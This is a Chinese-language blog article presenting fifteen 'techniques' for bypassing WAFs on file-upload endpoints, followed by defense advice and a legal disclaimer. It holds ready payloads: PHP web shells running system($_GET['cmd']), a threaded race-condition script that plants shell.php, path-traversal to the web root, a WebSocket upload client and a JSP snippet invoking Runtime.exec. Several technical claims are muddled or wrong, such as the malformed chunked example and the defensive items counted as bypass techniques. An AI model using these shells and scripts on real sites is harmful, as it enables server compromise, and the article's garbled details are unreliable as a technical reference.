突破防线:15种上传绕过WAF的实用技巧解析
2025.10.13 13:54浏览量:29简介:本文深度解析15种绕过Web应用防火墙(WAF)的文件上传攻击手法,从基础到进阶覆盖HTTP协议层、文件内容层及业务逻辑层绕过技术,提供可复现的测试用例与防御建议,助力安全人员构建更坚固的防护体系。
突破防线:15种上传绕过WAF的实用技巧解析
一、HTTP协议层绕过技术
1. 双重Content-Type欺骗
通过构造Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC\r\nContent-Type: application/octet-stream的畸形请求,部分WAF会优先解析首个Content-Type导致类型校验失效。测试时需注意boundary值的合法性,建议使用Burp Suite的Repeater模块进行参数化测试。
2. 分块传输编码绕过
采用Transfer-Encoding: chunked方式分块上传恶意文件,某些WAF在处理流式数据时无法完整重组请求体。典型分块格式如下:
POST /upload HTTP/1.1Transfer-Encoding: chunked4\r\nABCD\r\n5\r\n1234E\r\n0\r\n
需确保分块大小超过WAF的最小检测单元(通常为4KB)。
3. 协议混淆攻击
结合HTTP/2的HEADERS帧与DATA帧分离特性,将恶意文件内容隐藏在连续的DATA帧中。使用nghttp2工具构造请求时,需注意帧序号的连续性避免触发协议解析错误。
二、文件内容层绕过技术
4. 多层嵌套压缩
通过cat malicious.php | zip -r - | gzip | bzip2创建四层压缩文件,部分WAF的解压深度限制导致无法检测内层PHP代码。解压测试需验证各层文件的CRC校验值一致性。
5. 图片马变异技术
在PNG文件的IDAT块中插入PHP代码,利用<?php system($_GET['cmd']); //的注释特性绕过正则检测。生成工具推荐使用GIMP的插件进行精准块编辑,需保持文件头部的IHDR块完整性。
6. 文档流注入
在DOCX文件的word/embeddings/目录下植入VBS脚本,利用Office的OLE对象解析机制触发。构造时需维护ZIP目录结构的CRC校验,可使用7-Zip的段编辑功能进行修改。
三、业务逻辑层绕过技术
7. 条件竞争上传
通过多线程并发请求实现”上传-重命名”的时间差攻击,示例Python脚本:
import requestsfrom threading import Threaddef upload(url):files = {'file': ('test.php', '<?php system($_GET[1]);?>')}requests.post(url, files=files)def rename(url):requests.post(url+'/rename', data={'old':'test.php','new':'shell.php'})threads = [Thread(target=upload, args=(URL,)),Thread(target=rename, args=(URL,))][t.start() for t in threads]
需精确计算网络延迟,建议使用tc工具模拟高延迟环境测试。
8. 路径遍历伪装
上传时使用../../var/www/html/shell.php的路径参数,结合服务器端对..的过滤缺陷。实际测试中需结合目标系统的文件结构,Linux环境需注意开头斜杠的截断问题。
9. 碎片化上传
将恶意文件拆分为多个片段上传,通过自定义的合并脚本重组。关键点在于:
- 分片大小控制在WAF的检测阈值以下(通常<100KB)
- 使用非连续的分片序号(如1,3,5,2,4)
- 合并时采用异或加密混淆内容
四、高级绕过技术
10. DNS重绑定攻击
构造动态域名,首次解析返回内网IP(192.168.1.1),二次解析返回恶意文件服务器。需配置TTL为1秒的DNS记录,测试工具推荐使用dnschef搭建本地DNS服务器。
11. WebSocket文件传输
通过WebSocket连接上传文件,绕过传统HTTP层的WAF检测。示例JavaScript客户端:
const ws = new WebSocket('ws://target.com/upload');ws.binaryType = 'arraybuffer';ws.onopen = () => {const blob = new Blob(['<?php phpinfo();?>'], {type:'application/octet-stream'});ws.send(blob);};
服务器端需实现WebSocket协议解析,推荐使用Socket.IO框架快速搭建。
12. 内存马注入
上传包含Java反射代码的JSP文件,通过Runtime.getRuntime().exec()动态加载恶意类。关键代码片段:
<%Class clazz = Class.forName("java.lang.Runtime");Method method = clazz.getMethod("getRuntime");Object rt = method.invoke(null);Method exec = rt.getClass().getMethod("exec", String.class);exec.invoke(rt, "calc.exe");%>
需确保服务器存在可用的反序列化接口。
五、防御与检测建议
13. 多层检测体系
建议部署:
- 网络层:ModSecurity+OWASP CRS规则集
- 应用层:自定义文件类型白名单(如仅允许jpg/png的Magic Number检测)
- 存储层:文件内容哈希校验与病毒库扫描
14. 行为分析技术
实现:
- 上传频率监控(阈值建议<5次/分钟)
- 文件操作日志审计
- 异常进程检测(如临时文件创建后立即执行)
15. 云原生防护方案
采用:
- 容器镜像扫描(Clair/Trivy)
- API网关流量镜像分析
- 无服务器架构的临时执行环境隔离
实践测试清单
- 使用Nmap扫描目标WAF类型:
nmap -p 80,443 --script http-waf-detect <target> - 验证文件扩展名黑名单:上传
.htaccess文件测试是否被拦截 - 检查大小写混淆:尝试
pHp、PhP等变体 - 测试空扩展名:
file.或file(空格结尾) - 验证双扩展名:
file.jpg.php
法律与伦理声明
本文所有技术演示均在授权环境中进行,未经许可的渗透测试可能违反《网络安全法》。建议安全研究人员:
- 获得书面授权后再进行测试
- 限制测试范围与强度
- 及时向厂商报告漏洞
- 遵守CVSS评分标准进行漏洞评级
安全防护是持续过程,建议每季度进行红蓝对抗演练,更新WAF规则集,并建立应急响应机制。通过多层次的防御体系,可有效降低文件上传功能被绕过的风险。”

发表评论
登录后可评论,请前往 登录 或 注册